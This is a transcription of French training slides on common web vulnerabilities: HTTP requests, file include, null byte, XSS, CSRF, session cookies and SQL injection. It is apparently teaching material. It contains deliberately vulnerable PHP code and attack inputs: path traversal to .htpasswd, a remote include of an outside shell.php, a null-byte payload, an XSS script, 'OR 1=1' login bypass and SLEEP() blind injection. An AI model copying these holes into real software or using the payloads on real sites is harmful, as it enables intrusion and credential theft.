Introduction Les failles les plus courantes Les injections SQL. Failles Web. Maxime Arthaud. net7. Jeudi 03 avril 2014.



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Transcription:

Maxime Arthaud net7 Jeudi 03 avril 2014

Syllabus Introduction Exemple de Requête Transmission de données 1 Introduction Exemple de Requête Transmission de données 2 3

Exemple de Requête Transmission de données HTTP = HyperText Transfer Protocol

Exemple de Requête Transmission de données HTTP = HyperText Transfer Protocol Le protocole parlé par votre navigateur web (Firefox, Chrome)

Exemple de Requête Transmission de données HTTP = HyperText Transfer Protocol Le protocole parlé par votre navigateur web (Firefox, Chrome) Version 1.1 (2.0 en cours)

Exemple de Requête Transmission de données Requête HTTP GET /page.html HTTP/1.1 Host: example.com Referer: http://example.com/ User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko /20100101 Firefox/28.0

Exemple de Requête Transmission de données Requête HTTP GET /page.html HTTP/1.1 Host: example.com Referer: http://example.com/ User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko /20100101 Firefox/28.0 Réponse du serveur HTTP/1.1 200 OK Date: Fri, 31 Dec 1999 23:59:59 GMT Server: Apache/0.8.4 Content-Type: text/html Content-Length: 59 Expires: Sat, 01 Jan 2000 00:59:59 GMT <title>exemple</title>

Exemple de Requête Transmission de données Méthode GET GET /page.html?name=value HTTP/1.1 Host: example.com

Exemple de Requête Transmission de données Méthode GET GET /page.html?name=value HTTP/1.1 Host: example.com Méthode POST POST /page.html HTTP/1.1 Host: example.com Content-Length: 32 username=arthaum&password=secret

Exemple de Requête Transmission de données Informations stockées sur votre navigateur, envoyées aux sites web

Exemple de Requête Transmission de données Informations stockées sur votre navigateur, envoyées aux sites web De la forme key1=val1&key2=val2

Exemple de Requête Transmission de données Informations stockées sur votre navigateur, envoyées aux sites web De la forme key1=val1&key2=val2 Outils Firebug Tamper Data Web Developer

Syllabus Introduction Include Null byte XSS CSRF Les sessions 1 Introduction 2 Include Null byte XSS CSRF Les sessions 3

Include Null byte XSS CSRF Les sessions La faille include <!DOCTYPE html> <html> <head><title>titre</title></head> <body> <?php include( pages/. $_GET[ page ]);?> </body> </html>

Include Null byte XSS CSRF Les sessions La faille include <!DOCTYPE html> <html> <head><title>titre</title></head> <body> <?php include( pages/. $_GET[ page ]);?> </body> </html> Idées d attaque /index.php?page=index.php /index.php?page=../admin/.htpasswd /index.php?page=http ://monsite.com/shell.php

Include Null byte XSS CSRF Les sessions La faille null byte <!DOCTYPE html> <html> <head><title>titre</title></head> <body> <?php include( pages/. $_GET[ page ]..php );?> </body> </html>

Include Null byte XSS CSRF Les sessions La faille null byte <!DOCTYPE html> <html> <head><title>titre</title></head> <body> <?php include( pages/. $_GET[ page ]..php );?> </body> </html> Idée d attaque /index.php?page=index.php%00

Include Null byte XSS CSRF Les sessions XSS = Cross-Site Scripting <?php echo $_GET[ message ];?>

Include Null byte XSS CSRF Les sessions XSS = Cross-Site Scripting <?php echo $_GET[ message ];?> Idée d attaque /index.php?message=<script >alert( coucou ) </script >

Include Null byte XSS CSRF Les sessions CSRF = Cross-Site Request Forgery /deleteuser.php?id=1

Include Null byte XSS CSRF Les sessions CSRF = Cross-Site Request Forgery /deleteuser.php?id=1 Idées d attaque Forcer un administrateur à cliquer sur le lien Plus vicieux : mettre ce lien comme image de profil/signature

Include Null byte XSS CSRF Les sessions Le danger des sessions ID de session stocké dans les cookies

Explication Blind SQL Injection Outils Syllabus 1 Introduction 2 3 Explication Blind SQL Injection Outils

Explication Blind SQL Injection Outils Explication $con = new PDO( mysql:dbname=user_arthaum;host=mysql.bde. n7, arthaum, secret ); \$req = $con->query("select * FROM users WHERE username= ". $_POST[ username ]. " AND password= ". $_POST[ password ]. " ");

Explication Blind SQL Injection Outils Explication $con = new PDO( mysql:dbname=user_arthaum;host=mysql.bde. n7, arthaum, secret ); \$req = $con->query("select * FROM users WHERE username= ". $_POST[ username ]. " AND password= ". $_POST[ password ]. " "); Idée d attaque username=admin OR 1=1#

Explication Blind SQL Injection Outils Blind SQL Injection Pas de retour (page blanche)

Explication Blind SQL Injection Outils Blind SQL Injection Pas de retour (page blanche) Idée d attaque Utiliser SLEEP()

Explication Blind SQL Injection Outils Outils sqlmap